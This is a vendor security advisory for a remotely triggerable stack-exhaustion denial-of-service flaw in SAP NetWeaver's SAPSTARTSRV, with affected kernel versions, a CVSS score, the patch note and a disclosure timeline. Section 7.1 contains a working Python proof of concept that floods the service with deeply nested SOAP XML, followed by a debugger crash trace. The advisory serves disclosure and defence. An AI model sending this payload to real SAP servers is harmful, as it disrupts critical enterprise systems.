Application: SAP NetWeaver KERNEL Versions Affected: SAP NetWeaver KERNEL 7.0-7.5 Vendor URL: http://SAP.com Bugs: Denial of Service Sent: 09.03.2016 Reported: 10.03.2016 Vendor response: 10.03.2016 Date of Public Advisory: 12.07.2016 Reference: SAP Security Note 2295238 Author: Dmitry Yudin (ERPScan) Description 1. ADVISORY INFORMATION Title: [ERPSCAN-16-030] SAP NetWeaver – buffer overflow vulnerability Advisory ID: [ERPSCAN-16-030] Risk: high Advisory URL: https://erpscan.com/advisories/erpscan-16-030-sap-netweaver-sapstartsrv-stack-based-buffer-overflow/ Date published: 12.10.2016 Vendors contacted: SAP 2. VULNERABILITY INFORMATION Class: Denial of Service Impact: DoS Remotely Exploitable: yes Locally Exploitable: yes CVSS Information CVSS Base Score v3: 6.5 / 10 CVSS Base Vector: AV : Attack Vector (Related exploit range) Network (N) AC : Attack Complexity (Required attack complexity) Low (L) PR : Privileges Required (Level of privileges needed to exploit) None (N) UI : User Interaction (Required user participation) None (N) S : Scope (Change in scope due to impact caused to components beyond the vulnerable component) Unchanged (U) C : Impact to Confidentiality None (N) I : Impact to Integrity Low (L) A : Impact to Availability Low (L) 3. VULNERABILITY DESCRIPTION This vulnerability allows an attacker to send a special request to the SAPSTARTSRV process port and conduct stack buffer overflow (recursion) on the SAP server. 4. VULNERABLE PACKAGES SAP KERNEL 7.21 32-BIT 625 SAP KERNEL 7.21 32-BIT UNICODE 625 SAP KERNEL 7.21 64-BIT 625 SAP KERNEL 7.21 64-BIT UNICODE 625 SAP KERNEL 7.21 EXT 32-BIT 625 SAP KERNEL 7.21 EXT 32-BIT UC 625 SAP KERNEL 7.21 EXT 64-BIT 625 SAP KERNEL 7.21 EXT 64-BIT UC 625 SAP KERNEL 7.22 64-BIT 113 SAP KERNEL 7.22 64-BIT UNICODE 113 SAP KERNEL 7.22 EXT 64-BIT 113 SAP KERNEL 7.22 EXT 64-BIT UC 113 SAP KERNEL 7.42 64-BIT 412 SAP KERNEL 7.42 64-BIT UNICODE 412 SAP KERNEL 7.45 64-BIT 113 SAP KERNEL 7.45 64-BIT UNICODE 113 5. SOLUTIONS AND WORKAROUNDS To correct this vulnerability, install SAP Security Note 2295238 6. AUTHOR Dmitry Yudin (ERPScan) 7. TECHNICAL DESCRIPTION 7.1. Proof of Concept import socket PoC = """<?xml version="1.0" encoding="utf-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"; xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"; xmlns:xs="http://www.w3.org/2001/XMLSchema";> <SOAP-ENV:Header> <sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/";> >""" + "<a>" * 100000 + "</a>" * 100000 + """ </sapsess:Session> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:WW xmlns:ns1="urn:SAPControl"> <b></b> <e><e> </ns1:WW> </SOAP-ENV:Body> </SOAP-ENV:Envelope>""" for i in range(1,5): sock = socket.socket() sock.connect(("SAP_IP", SAP_PORT)) sock.send(PoC) Windbg exceptions sapstartsrv!soap_getutf8+0xa: 00000001`4009cd2a e891f9ffff call sapstartsrv!soap_get (00000001`4009c6c0) rax=0000000000000000 rbx=000000000bcdcfb0 rcx=000000000bcdcfb0 rdx=0000000000000061 rsi=0000000000000000 rdi=000000000bcdcfb0 rip=000000014009cd2a rsp=0000000002b93ff0 rbp=000000000bcdcfb0 r8=0000000134936c69 r9=0000000000000000 r10=0000000000000000 r11=000000014061ee28 r12=0000000000000000 r13=000000000000270f r14=00000001409f8ba0 r15=0000000000000000 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 8. REPORT TIMELINE Sent: 09.03.2016 Reported: 10.03.2016 Vendor response: 10.03.2016 Date of Public Advisory: 12.07.2016 9. REFERENCES https://erpscan.com/advisories/erpscan-16-030-sap-netweaver-sapstartsrv-stack-based-buffer-overflow/ 10. ABOUT ERPScan Research ERPScan research team specializes in vulnerability research and analysis of critical enterprise applications. It was acknowledged multiple times by the largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for discovering more than 400 vulnerabilities in their solutions (200 of them just in SAP!). ERPScan researchers are proud of discovering new types of vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug" nomination at BlackHat 2013. ERPScan experts participated as speakers, presenters, and trainers at 60+ prime international security conferences in 25+ countries across the continents ( e.g. BlackHat, RSA, HITB) and conducted private trainings for several Fortune 2000 companies. ERPScan researchers carry out the EAS-SEC project that is focused on enterprise application security awareness by issuing annual SAP security researches. ERPScan experts were interviewed in specialized info-sec resources and featured in major media worldwide. Among them there are Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc. Our team consists of highly-qualified researchers, specialized in various fields of cybersecurity (from web application to ICS/SCADA systems), gathering their experience to conduct the best SAP security research. 11. ABOUT ERPScan ERPScan is the most respected and credible Business Application Cybersecurity provider. Founded in 2010, the company operates globally and enables large Oil and Gas, Financial, Retail and other organizations to secure their mission-critical processes. Named as an ‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP Solution providers” and distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in discovering and resolving security vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to assist in improving the security of their latest solutions. ERPScan’s primary mission is to close the gap between technical and business security, and provide solutions for CISO's to evaluate and secure SAP and Oracle ERP systems and business-critical applications from both cyberattacks and internal fraud. As a rule, our clients are large enterprises, Fortune 2000 companies and MSPs, whose requirements are to actively monitor and manage security of vast SAP and Oracle landscapes on a global scale. We ‘follow the sun’ and have two hubs, located in Palo Alto and Amsterdam, to provide threat intelligence services, continuous support and to operate local offices and partner network spanning 20+ countries around the globe. Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301 Phone: 650.798.5255 Twitter: @erpscan Scoop-it: Business Application Security
